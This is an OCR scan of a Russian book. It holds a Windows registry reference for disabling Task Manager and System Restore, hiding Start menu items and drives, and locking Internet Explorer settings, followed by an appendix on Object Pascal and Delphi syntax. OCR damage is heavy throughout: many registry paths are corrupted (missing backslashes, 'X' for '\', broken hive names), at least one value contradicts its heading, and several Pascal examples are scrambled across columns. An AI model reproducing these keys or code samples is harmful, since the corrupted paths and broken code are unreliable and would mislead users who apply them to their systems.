Отключение возможности открывать диспетчер задач
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
Значение:"DisableTaskMgr"=dword:00000001
Отключение возможности восстановления системы
Ключ:[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windo
ws NT\SystemRestore]
Значение:"DisableConfig"=dword:00000001
Очистка swap при выключении компьютера
Ключ:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Session Manager\Memory Management]
Значение:
"ClearPageFileAtShutdown"=dword: 00000001
12*
180 Справочник по реестру Windows
Изменение размещения папок и каталогов
Изменение размещения папки Избранное
Для того чтобы изменить размещение папки Избранное, следуетнаписать новый путь к этой папке в следующий ключ:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer\User Shell Folders]
"Favorites"="C:\\Избранное"
Изменение каталога по умолчанию для программ
Можно изменить предлагаемый системой по умолчанию каталогпри установке программ:
[HKEY_LOCALJVIACHINE\SOFTWARE\Microsoft\Windows\Curren
tVersion]
"ProgramFilesDir"="C:WProgram Fi les"
"ProgramFilesPath"="C:WProgram Fi les"
Сокрытие пунктов системного меню Пуск
Сокрытие пункта Пуск —> Найти
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
Значение:
"NoFind"=dword:0
Сокрытие пункта Пуск -* Программы —> Стандартные
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
Значение:"NoComnonGroups"=dword:00000001
Сокрытие пункта Пуск -* Избранное
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXExplorer]
Сокрытие пунктов системного меню Пуск 181
Значение:"NoFavoritesMenu"=dword:00000001
Сокрытие пункта Пуск —> Документы
Ключ:[HKEY_CURRENT JJSER\Software\Microsoft Windows\Current
Version\Explorer]
Значение:"NoRecentDocsMenu"=dword:00000001
Сокрытие пункта Пуск —> Панель управления
Ключ:[HKEY__CURRENT_USER\ So ftware\Microso ft Windows \Cur rent
Version\Policies\Explorer]
Значение:"NoContro1Panel"=dword:00000001
Сокрытие пункта Пуск —• Выполнить
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Explorer]
Значение:"NoRun"=dword:00000001
Сокрытие пункта Пуск —> Настройка —> Принтеры
Для того чтобы скрыть пункты меню Пуск —> Панель управления.Пуск -» Настройка -» Принтеры (и соответствующие пиктограммы в пап-ке Мой компьютер), внесите следующие изменения в реестр:
[HKEY_CURRENT_USER\Software\Microsoft Windows\Current
Version\Explorer]
"NoSetFolders"=dword:00000001
Сокрытие пункта Пуск —• Настройка —> Панель задач
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer]
Значение:
"NoSetTaskbar"=dword:00000001
182 Справочник по реестру Windows
Сокрытие пункта Пуск —* Завершение сеанса
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer]Значение:" N o L o g O f f " = h e x : 0 1 , 0 0 , 0 0 , 00
Сокрытие пункта Пуск -* Выключить компьютер
Ключ:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Explorer]
Значение:"NoClose"=dword:00000001
Сокрытие всех дополнительных папок в меню Пуск
Ключ:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\CurrentVersion\Policies\Explorer]
Значение:"NoStartMenuSubFolders"=dword:00000001
Сокрытие папки Мок документы в меню Пуск
Ключ:
[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
Version\Explorer\Documents]
Значение:
"DisableStartInMyDocs"=dword:00000001
Сокрытие различных элементов интерфейса
Сокрытие дисков в папке Мой компьютер
В папке Мой компьютер можно скрывать диски. Ниже представле-ны имена дисков и соответствующий ключ для их сокрытия. Для тогочтобы скрыть сразу несколько дисков, суммируйте значения ключей:
[HKEY_CURRENTJJSER\Software\MicrosoftWindows\CurrentVersion\Explorer]
A: "NoDrives"=dword:00000001
Сокрытие различных элементов интерфейса 183
В: "NoDrives"=dword:00000002
С: "NoDrives"=dword:00000004
D: "NoDrives"=dword:00000008
Е: "NoDrives"=dword:00000010
F: "NoDrives"=dword:00000020
G: "NoDrives"=dword:00000040
H: "NoDrives"=dword:00000080
I : "NoDrives"=dword:00000100
J: "NoDrives"=dword:00000200
K: "NoDrives"=dword:00000400
L: "NoDrives"=dword:00000800
M: "NoDrives"=dword:00001000
N: "NoDrives"=dword:00002000
0: "NoDrives"=dword:00004000
P: "NoDrives"=dword:00008000
Q: "NoDrives"=dword:00010000
R: "NoDrives"=dword:00020000
S: "NoDrives"=dword:00040000
T: "NoDrives"=dword:00080000
U: "NoDrives"=dword:00100000
V: "NoDrives"=dword:00200000
W: "NoDrives"=dword:00400000
X: "NoDrives"=dword:00800000
Y: "NoDrives"=dword:01000000
Z: "NoDrives"=dword:02000000
Для того чтобы скрыть все диски:"NoDrives"=dword:03FFFFFF
Сокрытие пиктограммы Принтеры в панели управления
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer]
Значение:"NoPrinters"=dword:00000001
184 Справочник по реестру Windows
Сокрытие вкладок Общие и Сведения в окне свойствпринтера
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXExplorer]
Значение:"NoPrinterTabs"=dword:00000001
Настройка Рабочего стола
Сокрытие всех элементов Рабочего стола
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXExplorer]
Значение:"NoDesktop"=dword:00000001
Сокрытие пиктограммы Internet на Рабочем столе
Ключ:[HKEY_CURRENT__USER\Software\Microsoft\Windows\Current
VersionXExplorer]
Значение:"Nolnternetlcon"=dword:00000001
Сокрытие пиктограммы Сетевое окружение на Рабочемстоле
Ключ:[HKEY_CURRENTJJSER\Software\Microsof t:\Windows\Current
VersionXExplorer]
Значение:"NoNetHood"=dword:00000001
Отключение возможности вызывать окно свойств экрана
Ключ:
[HKEY_CURRENTJ3SER\Software\Microsoft\Windows\Current
VersionXPoliciesXSystem]
Сокрытие вкладок окна свойств экрана 185
Значение:"NoDispCPL"=dword:00000001
Отключение контекстного меню панели задач
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Explorer]Значение:"NoTrayContextMenu"=hex:01,00,00,00
Отключение контекстного меню Рабочего стола
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXPolicies\Explorer]Значение:" N o V i e w C o n t e x t M e n u " = h e x : 0 1 , 0 0 , 0 0 , 00
Сокрытие папки Мои документа на Рабочем столе
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer\Documents]
Значение:"HideMyDocsFolder"=dword:00000001
Сокрытие вкладок окна свойств экрана
Сокрытие вкладки Оформление
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]Значение:"NoDispAppearancePage"=dword:00000001
Сокрытие вкладки Фон
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
VersionXPolicies\System]
186 Справочник по реестру Windows
Значение:"NoDispBackgroundPage"=dword:00000001
Сокрытие вкладки Заставка
Ключ:[HKEY_CURRENT_USER\Software\MicrosoftWindows\Current
VersionXPolicies\Systern]
Значение:"NoDispScrSavPage"=dword:00000001
Сокрытие вкладки Параметры
Ключ:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Policies\System]
Значение:"NoDispSettingsPage"=dword:00000001
Настройка браузера Internet Explorer
Сокрытие команд меню, кнопок и панелей
Сокрытие команды меню Сервис —»Windows Update
К л ю ч :
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren
tVersion\Policies\Explorer]
Значение:"NoWir.dowsUpdate"=dword: 00000001
Сокрытие команды меню Файл -» Создать
Ключ:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren
tVersion\Policies\Explorer]
Значение:"NoExpandedNewMenu"=dword:00000001
Настройка браузера Internet Explorer 187
Сокрытие команды меню Файл —> Сохранить как
Ключ:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curren
tVersion\Policies\Explorer]
Значение:
"NoBrowserSaveAs"=dword:00000001
Сокрытие кнопки Настройка в панели Поиск
Ключ:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
Значение:
"NoSearchCustomization"=dword:00000001
Сокрытие раздела Избранное
Ключ:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
Значение:
"NoFavorites"=dword:00000001
Сокрытие команды меню Сервис —» Почта и новости
Ключ:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
Значение:
"RestGoMenu"=dword:00000001
Сокрытие команды меню Сервис -» Свойства обозревателя
Ключ:
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Inter
net Explorer\Restrictions]
Значение:
"NoBrowserOptions"=dword:00000001
Сокрытие кнопки Сертификаты
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
188 Справочник по реестру Windows
Значения:
"CertifPers"=dword:00000001
"CertifSite"=dword:00000001
Сокрытие элементов окна Свойства обозревателя
Сокрытие вкладки Общие
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control- Panel]
Значение:
"GeneralTab"=dword:00000001
Сокрытие вкладки Безопасность
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"SecurityTab"=dword:00000001
Сокрытие вкладки Содержание
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"ContentTab"=dword:00000001
Сокрытие вкладки Подключение
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"ConnectionsTab"=dword:00000001
Сокрытие вкладки Программы
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
Настройка браузера Internet Explorer 189
"ProgramsTab"=dword:00000001
Сокрытие вкладки Дополнительно
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"AdvancedTab"=dword:00000001
Сокрытие кнопки Сброс настроек для Web
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"ResetWebSettings"=dword:00000001
Отключение возможности производить изменения на вкладке
Дополнительно
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Advanced"=dword:00000001
Общая настройка браузера
Отключение возможности перехода к домашней странице
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"HomePage"=dword:00000001
Отключение возможности управления временными файлами
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:"Settings"=dword:00000001
190 Справочник по реестру Windows
Отключение возможности изменения настроек для временных файлов
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Cache"=dword:00000001
Отключение возможности изменения настроек журнала истории
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"History"=dword:00000001
Отключение возможности изменения цветовых настроек на страницах
с неявным заданием цветов
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Colors"=dword:00000001
Отключение возможности изменения цветовых настроек на HTML-
странице
Ключ:
[HKEY_CURRENT__USER\Software\Policies\Microsoft\Intern
et ExplorerVControl Panel]
Значение:
"Links"=dword:00000001
Отключение возможности изменения шрифта на страницах с неявным
заданием шрифта
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:"Fonts"=dword:00000001
Настройка браузера Internet Explorer 191
Отключение возможности изменения языковых настроек
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Languages"=dword:00000001
Отключение возможности изменения стилей
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Accessibilitу"=dword:00000001
Отключение возможности изменения уровня безопасности
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"SecChangeSettings"=dword:00000001
Отключение возможности изменения сертификатов
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:
"Certificates"=dword:00000001
Отключение возможности автозаполнения для форм
Ключ:
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
Значение:"FormSuggest"=dword:00000001
Запрет на заполнение имен и паролей на формах
Ключ:[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]
192 Справочник по реестру Windows
Значение:"FormSuggest Passwords"=dword:00000001
Отключение возможности запуска мастера подключения к Internet
Ключ:[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]Значение:"Connwiz Admin Lock"=dword:00000001
Отключение возможности настройки подключения к Internet
Ключ:[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et Explorer\Control Panel]Значение:"Connection Settings"=dword:00000001
Отключение возможности автонастройки
Ключ:[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]
Значение:"AutoConfig"=dword:00000001
Отключение возможности настройки прокси-сервера
Ключ:[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]Значение:"Proxy"=dword:00000001
Отключение возможности изменения опции Проверять, является лиInternet Explorer обозревателем, используемым по умолчаниюК л ю ч :[HKEY_CURRENT_USER\Software\Policies\Microsoft\Intern
et ExplorerXControl Panel]Значение:"Check If Default"=dword:00000001
Настройка браузера Internet Explorer 193
Установка адреса поискового сервера по умолчанию
Ключ:
[HKEY_CURRENT_USER\Software\Microsoft\Internet Ех-
plorer\Main]
Значение:"Search Page"=http://www.ya.ru
13 — 5-1212
194 Язык Object Pascal
Приложение Г
Язык Object Pascal
КомментарииКомментарии — это фрагменты исходного текста программы, ко-
торые не компилируются и служат для пояснения кода. Для обозначе-ния комментариев в программах на языке Object Pascal используют сле-дующие конструкции:
• / / — комментарии в одной строке;• { } или (* *) —многострочные комментарии.
1 := i + 1; // увеличиваем на единицу счетчикs := IntToStr ( i ) ; {используем функцию IntToStr , которая
возвращает- строковое представлениецелочисленного параметра}
ИдентификаторыИдентификаторы - - это имена констант, переменных, типов,
свойств, процедур, функций, программ и программных модулей. Могутбыть длиной до 255 символов, начинаться с символа или знака подчер-кивания; могут содержать символы, цифры и знаки подчеркивания и недолжны содержать пробелы.
В языке Object Pascal идентификаторы не чувствительны к региструбукв, то есть нет различия между строчными и заглавными буквами. Та-ким образом, идентификатор функции IntToStr равнозначен иденти-фикатору i n t t o s t r или intTOstr .
В качестве имен идентификаторов не могут использоваться сле-дующие зарезервированные слова: .
• and, array, as, asm, at, automated;• begin;• case,class, const, constructor;
• destructor, div, do, downto;
• else, end, except, exports;
Встроенные типы данных 195
• file,finalization,finally, for, function;
• goto;
• if, implementation, in, inherited, initialization,
inline, interface, is;
• label, library;
• mod;
• nil, not;
• object, of, on, or, out;
• packed, private, procedure, program, property, pro-
tected, public, published;
• raise,record, repeat, resourcestring;
• set, shl, shr, string;
• then, threadvar, to, try, type;
• unit, until, uses;
• var;
• while, with;
• xor.
Встроенные типы данных
Числовые типы
К числовым типам языка Object Pascal относятся целочисленные итипы чисел с плавающей запятой (табл. Д.1).
Таблица Д.1. Числовые типы данных языка Object Pascal
Целочисленные
типы
Byte
Shortlnt
Smalllnt
Word
Integer,
Longlnt
Cardinal,
LongWord
Int64
Диапазон
значений
0..255
-128..127
-32768..32767
0..65535
-2147483648..
21474883647
0..4294967295
-263..263-1
Типы чисел с
плавающей запятой
Real
Real48
Single
Double
Extended
Comp
Currency
Диапазон значений
5.0-10' 3 2 4 . . 1.7-103 0 8
2.9-10"3 9.. 1.7-1038
1.5-10~ 4 5..3.4-10 3 8
5.0-10- 3 2 4 . . 1.7-103 0 8
3.6-10" 4 9 5 1 . . 1.1-104 9 3 2
- 2 6 3 + 1 .. 2 6 3 - 1
-922337203685477.5808..
922337203685477.5807
13*
196 Язык Object Pascal
Символьный тип
Символьный тип обозначается при помощи ключевого слова Charи его значения хранят только один символ.
Строковые типы
В языке Object Pascal используются два обобщенных строковых типа:• S t r i n g — если в проекте Delphi указана директива компиля-
тора {$н+} (поддержка больших строк), то этому типу соот-ветствуют строки длиной от 0 до 2147483648 символов; впротивном случае типу String соответствуют строки длинойот 0 до 255 символов;
• PChar — тип, аналогичный строковому типу языка С.
По своей сути, строковые значения — это массивы символов, в ко-торых нумерация элементов для типа S t r i n g начинается с 1, а для типаPChar — сО.
Булев тип данных
Переменная булевого типа занимает один байт памяти и может при-нимать только одно из двух значений: True ("истина", "да", 1) илиFalse ("ложь", "нет", 0). Булев тип обозначается при помощи ключево-го слова Boolean.
Массивы
Массив — это упорядоченная именованная совокупность однотип-ных значений, к которым можно обращаться по их порядковому номеру(индексу). Для описания массивов в языке Object Pascal используютследующие формы:
• a r r a y [ 1 . .N1] of type — одномерный массив фиксиро-ванного размера (Ш — размерность массива, type — тип зна-чений, хранимых в массиве);
• a r r a y [ 1 . . N 1 , 1..N2] of type — двухмерный массивфиксированного размера;
• a r r a y [ 1 . . N 1 , 1..N2, 1..N3] o f type - - т р е х м е р н ы ймассив фиксированного размера;
• a r r a y of type — массив переменного размера. Длину та-ких массивов можно изменять в процессе выполнения про-
Константы 197
граммы при помощи процедуры SetLength. Индексациязначений начинается с 0.
КонстантыКонстанта — это именованное фиксированное значение. Для объ-
явления констант используют конструкцию вида:const имя_константы = значение;
const Factor = 1.756;
Тип константы определяется автоматически по присвоенному ейзначению.
ПеременныеПеременная — это именованное значение определенного типа, ко-
торое можно изменять в процессе выполнения программы. Для объяв-ления переменных используют запись следующего вида:
v а г имя_ переменной: имя_ типа ;
vari: Integer; //переменная i типа Integers: String; //переменная S типа StringMyArray: array[1..10] of Char; {переменная MyArray — массив
значений типа Char. Эту переменную можнобыло бы также объявить как StringflO]}
При обращении и инициализации переменных используют следую-щие правила:
• для присвоения значений переменным используют операторприсваивания : =;
• строковые и символьные значения, присваиваемые перемен-ным, заключают в одинарные кавычки (' с ' , ' строка');
• для обращения к отдельным элементам массива или отдель-ным символам строки используют запись вида: а [ 1 ] - - дляодномерных массивов и строк; а [ 3 ] [ 1 ] - - для двухмерныхмассивов; а [ 1 ] [ 6 ] [ 2 ] — для трехмерных массивов и т. д.;
• в качестве типа переменной может быть указан как встроен-ный тип языка Object Pascal, так и пользовательский, опреде-
198 Язык Object Pascal
ленный при помощи ключевого слова type (создание поль-зовательских типов рассматривается ниже).
К переменным в программе обращаются по их идентификаторам.
Пример для типа Str ing :var
si, s2: String; //объявляем две переменные типа Stringс: Char; //и одну типа Char
si := 'Строка'; //присваиваем si некоторое значениес := s[l]; //переменная с хранит значение 'Сs2 := si + с; //в s2 сохраняем строку 'СтрокаС'
Пр_имер для динамического массива:var
MyArray: array of Char;s: String;
SetLength(MyArray, 1 ) ; //устанавливаем длину массива = 1
A [ 0 ] : = ' С ' ;SetLength(MyArray, 2 ) ; //устанавливаем длину массива = 2А [ 1 ] : = ' т ' ;s := А[0] + А[1] + 'рока' //в s сохраняется значение 'Строка'
Пользовательские типы данныхДля объявления пользовательских типов, используют конструкцию
вида:type имя_типа = описание^типа;
К примеру, таким образом можно объявлять типы множеств, пере-числимые типы и подтипы.
Множества
Множество - - это совокупность однотипных целочисленных илисимвольных значений, среди которых не может быть двух одинаковых.Для объявления типа множества используется запись вида
set of первое_значение..последнее_значение;
Совокупности значений, которые используются для инициализацийпеременных этого типа, заключают в квадратные скобки, а значения от-деляются друг от друга запятыми.
Пользовательские типы данных 199
Например:t y p e
TNumbers = s e t o f 1 . . 1 0 ;
T A l p h a b e t = s e t o f ' a 'v a r
Odds, E v e n s : TNumbers;ABC: TAlphabet ;
j Odds := [ 1 , 3, 5, 7, 9] ;\ Evens := [2, 4, 6, 8, 1 0 ] ;
ABC := [ ' a ' , ' b ' , ' с ' ] ;
Перечислимые типы
Перечислимые типы используют для определения упорядоченныхнаборов значений в виде списка идентификаторов, соответствующихэтим значениям. Для объявления таких типов используют запись сле-дующего вида:
type имя типа = (элемент!, . . ., элемента);
По умолчанию, первому элементу соответствует число 0, второ-му — 1 и т.д. Для того чтобы сопоставить с каким-либо элементом дру-гое значение, следует использовать запись вида элемент = число.
Для извлечения числа, соответствующего некоторому элементу, ис-пользуется функция Ord.
ПримерtypeTDigits =
TConstantsvar
x: TDigits
(Zero, One,Six, Seven= (a = 10,
;k: TConstants;MyResult:
k := b; //kif x = ZeroMyResult :=
integer;
присваиваем
then k := a
Two, Three, Four, Five,Eight,
b = 3);
значении
//если
Ord(k); //MyResult
Nine, Ten);
3x=0, то к присваиваем 103 или 10
1
200 Язык Object Pascal
Подтипы
Подтип определяет некоторый диапазон целочисленных или сим-вольных значений. Для его объявления используют запись вида:
type имя_типа = начало..конец;
Переменные этого типа не могут принимать значений вне указанно-
; typeTDigits = (Zero, One, Two, Three, Four, Five,
Six, Seven, Eight, Nine, Ten); //перечислимый типT123 = One..Three; //подтипTABC = 'A'..'С; //еще один подтип
vari: T123; //переменная I может принимать значения от 1 до 3с: ТАВС; // переменная с может содержать 'А', 'В' или 'С
ЗаписиЗапись - - это структурированный набор разнотипных элементов.
Отдельные элементы записи называются полями. Для объявления запи-си используется следующая конструкция:
record
поле!: тип;
полеЫ: тип;
end;
typeTCD = record //запись дляGroupYear:Title
end;
String;Integer;String;
var MyCD:TCD;
//поле,//поле,//поле,
храненияхранящеехранящеехранящее
i
данных о музыкальном CDназвание исполнителягод альбоманазвание альбома
|
или непосредственноvar MyCD: record
Group:Year:Title:
end;
String;Integer;String;
^ ^MyCD.Group := 'Название группы';
Классы 201
I MyCD.Year := 2005;| MyCD.Title := 'Название альбома';
КлассыКласс — это структура, предназначенная для хранения данных (по-
лей и свойств), а также кода, обрабатывающего эти данные (методы).Поля, методы и свойства называют членами класса.
Класс может быть создан на основе другого класса — в этом случаеон называется производным, а базовый класс — родительским. Про-изводный класс наследует все свойства и методы родительского класса,а также может содержать собственные уникальные свойства и методы.
Для объявления класса используют конструкцию вида:type имя_класса = class{имя родительского_класса)
published{объявление опубликованных членов класса}
private
{объявление закрытых членов класса}
public
{объявление открытых членов класса}
protected
{объявление защищенных членов класса}
end;
Определение членов класса
Все члены класса по характеру доступа к ним делятся на четыре ка-тегории: закрытые (private), защищенные (protected), открытые (public) иопубликованные (published).
Элементы класса, определенные в разделе publ ic , без каких-либоограничений открыты для доступа извне программного модуля. Без ог-раничений доступны также и элементы, определенные в разделе pub-l i shed, однако они отличаются тем, что для них генерируется инфор-мация о типах времени выполнения (RTTI — Run Time TypeInformation). Информация RTTI используется для различных целей: на-пример, для организации отображения значений свойств в инспектореобъектов.
14 — 5 - 1 2 1 2
202 Язык Object Pascal
Элементы, определенные в разделе p r i v a t e , недоступны за преде-лами программного модуля, в котором объявлен класс. Другими слова-ми, закрытые члены класса нельзя вызвать из другого модуля.
Элементы, определенные в разделе p r o t e c t e d , доступны в модуле,в котором объявлен класс, а также доступны всем членам классов, про-изводных от данного класса.
По умолчанию при создании программных модулей Object Pascalраздел p r o t e c t e d не создается, а раздел publ i shed не указывается яв-но. Все члены класса, которые не определены в разделах p r i v a t e иpubl ic , по умолчанию относятся к категории publ ished.
Рассмотрим, к примеру, фрагмент объявления класса TForm (мо-дуль Forms . pas), базовогоJJ£[£J}£PJlj[J]^^
TForm = class(TCustomForm)
publicprocedure Arrangelcons;procedure Cascade;
published
property Action;
property ActiveControl;
end;
В данном случае видно, что класс TForm является производным откласса TCustomForm (реализован в том же модуле Forms.pas) и со-держит открытые методы Arrangelcons, Cascade И Т.Д., а также опуб-ликованные свойства Action, ActiveControl и т.д.
ПримечаниеОбъявление класса и его членов осуществляется в разделе i n t e r f a c e про-граммного модуля, а непосредственная реализация свойств и методов — в разде-ле i m p l e m e n t a t i o n (структура программного модуля Object Pascal рассмат-ривается ниже).
Во всех модулях форм, автоматически создаваемых Delphi, можно
______________typeTForml = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;
Классы 203
!varFormi: TForml;
Это означает, что в модуле приложения объявлен класс TForml,производный от класса TForm, а затем объявлена переменная типаTForml. Такие переменные — экземпляры класса — называют объек-тами. Все компоненты Delphi — это объекты, экземпляры того или ино-го класса.
Свойства класса
Свойства — это именованные интерфейсы доступа к данным объ-екта. Например, у объекта класса TForm, есть свойства Height ("высо-та"), Width ("ширина"), Color ("цвет") и др. Присваивая свойствамзначения соответствующего типа, можно изменять внешний вид или ха-рактер поведения объекта.
Для доступа к свойствам объекта используется такая же конструк-
ция, как и для достугvar
Forml: TForml;
Forml.Caption :=Forml.Font.Color
ia к полям записи,
'Заголовок формы:= clWhite;
нап£им£р:
В данном случае, свойство Font ("шрифт") — это тоже объект клас-са TFont, у которого есть свойство Color ("цвет").
Такой же способ доступа используется и для всех компонентов, раз-1?щ£шше^?а^&°]£м^type
TForml = class(TForm)Editl: TEdit;
private{ Private declarations }
public{ Public declarations }
end;
var
Forml: TForml;
Forml.Editl.Text := '';
14»
204 Язык Object Pascal
Методы класса
Метод — это процедура или функция, реализованная в классе.В качестве примера пользовательских методов можно привести проце-дуры обработки событий. Кроме того, методом становится любая про-цедура или функция, заголовок которой указан в объявлении класса.
Для доступа к методам используется тот же подход, что и длясвойств:' Buttonl•Click; //вызов метода, реализующего нажатие клавиши I
КОНСТРУКЦИЯ w i t h - d o
Для упрощения программного кода при работе с записями и клас-сами в языке Object Pascal используется конструкция with-do. Напри-мер, фрагмент кода| MyCD.Group := 'Название группы';MyCD.Year :m 2005;
| MyCD.Title := 'Название альбома';! Forml.Caption := 'Заголовок формы';| Forml.Font.Color := clWhite;
можно записать в виде: ___| with MyCD dobegin
Group := 'Название группы';Year := 2005; „Title := 'Название альбома';
end;
with Forml dobegin
Caption := 'Заголовок формы';Font.Color := clWhite;
end;
Еще один вариант записи этого же фрагмента:with MyCD, Forml dobegin
Group := 'Название группы';Year := 2005;Title l
m 'Название альбома';
Caption :• 'Заголовок формы';Font,Color := clWhite;
end;
При такой записи подстановка имен объектов осуществляется в по-рядке их следования. Однако в этом случае требуется следить за тем,
Структура проекта Delphi 205
чтобы для объектов, указанных после слова with, не использовалисьполя, свойства или методы с одинаковыми названиями, поскольку этоможет привести к путанице.
Структура проекта Delphi
Проект Delphi состоит из файлов трех основных типов:• файл проекта с расширением . dpr;• программные модули форм — файлы с расширением .pas;• двоичные данные формы — файлы с расширением . dfm.
Файл . dfm Delphi формирует автоматически на основании значе-ний, присвоенных свойствам формы и размещенных на ней компонен-тов. Файлы .dpr и .pas также создаются Delphi автоматически, но вних можно вносить изменения вручную. Рассмотрим их структуру.
Файл проекта . dpr
Файл проекта Delphi — это, по сути, главный программный модуль,не связанный ни с какой формой. В нем указываются ссылки на про-граммные модули приложения и создаются формы. Он имеет следую-щеюprogram имя программы; //заголовок
//раздел, в котором указываются ссылки на модули формuses
Forms,
Unitl in 'Unitl.pas' {Forml}; //главная форма приложения//ссылки на остальные формы приложения
{$R *.res} {директива компилятора о подключениифайла ресурсов программы}
begin
//инициализация приложения как объектаApplication.Initialize;//создание главной формы приложенияApplication.CreateForm(TForml, Forml);//создание остальных форм//. . .
//запуск приложенияApplication.Run;
end.
206 Язык Object Pascal
Перед словом begin можно добавлять объявления констант, типови переменных, а между словами begin и end — добавлять собственныйпрограммный код.
Файл программного модуля .pas
Файл программного модуля (формы или независимый) имеет сле-
j unit имя_модуля;
j //начало интерфейсной части модуляinterface
uses
{раздел ссылок на другие программные модули, классы,типы, переменные, процедуры или функции которыхиспользуются в данном модуле}
const
{описания констант}type
{описание типов, в частности — класса формы}var
{описание переменных, в частности - экземпляра формы}
//начало раздела реализации
implementation
uses
{раздел ссылок на другие программные модули}
{$R *.dfm) //директивы компилятора
const
{описания констант}type
{описание типов }var
{описание переменных }
{реализация процедур и функций модуля}end.
В интерфейсном разделе (между ключевыми словами i n t e r f a c e иimplementation) указываются элементы программного модуля, дос-
Процедуры и функции 207
тупные для других модулей и программ, а также ссылки на другие мо-дули (раздел uses).
Все описания и операторы, помещаемые в раздел реализации (послеключевого слова implementation), доступны только внутри данногопрограммного модуля.
Процедуры и функцииПроцедура - - это именованный программный блок, который не
возвращает никакого значения. В отличие от нее, функция — это име-нованный программный блок, возвращающий некоторое значение вточку вызова. Обычно в виде функций или процедур выделяют частоиспользуемые фрагменты программного кода.
Синтаксис процедур:procedure имя_процедуры(список_параметрош) ;
{Локальные объявления констант,
типов и переменных}
begin
//Тело процедуры
end;
Синтаксис функций:function имя_процедуры(список_парамеярот):
тип_тозвращаемого_значения;
{Локальные объявления констант,
типов и переменных}
begin
//Тело функции
Result := возвращаемое_зна.чение;
end;
Параметры
Список параметров, передаваемых в процедуру или в функцию,имеет следующий синтаксис:
параметр1: тип; ...; параметры: тип
Если процедура или функция не принимает никаких параметров, тоее заголовок выглядит следующим образом:
procedure имя_процедуры;
208 Язык Object Pascal
function иия_процедуры:тип возвращаемого__значения;
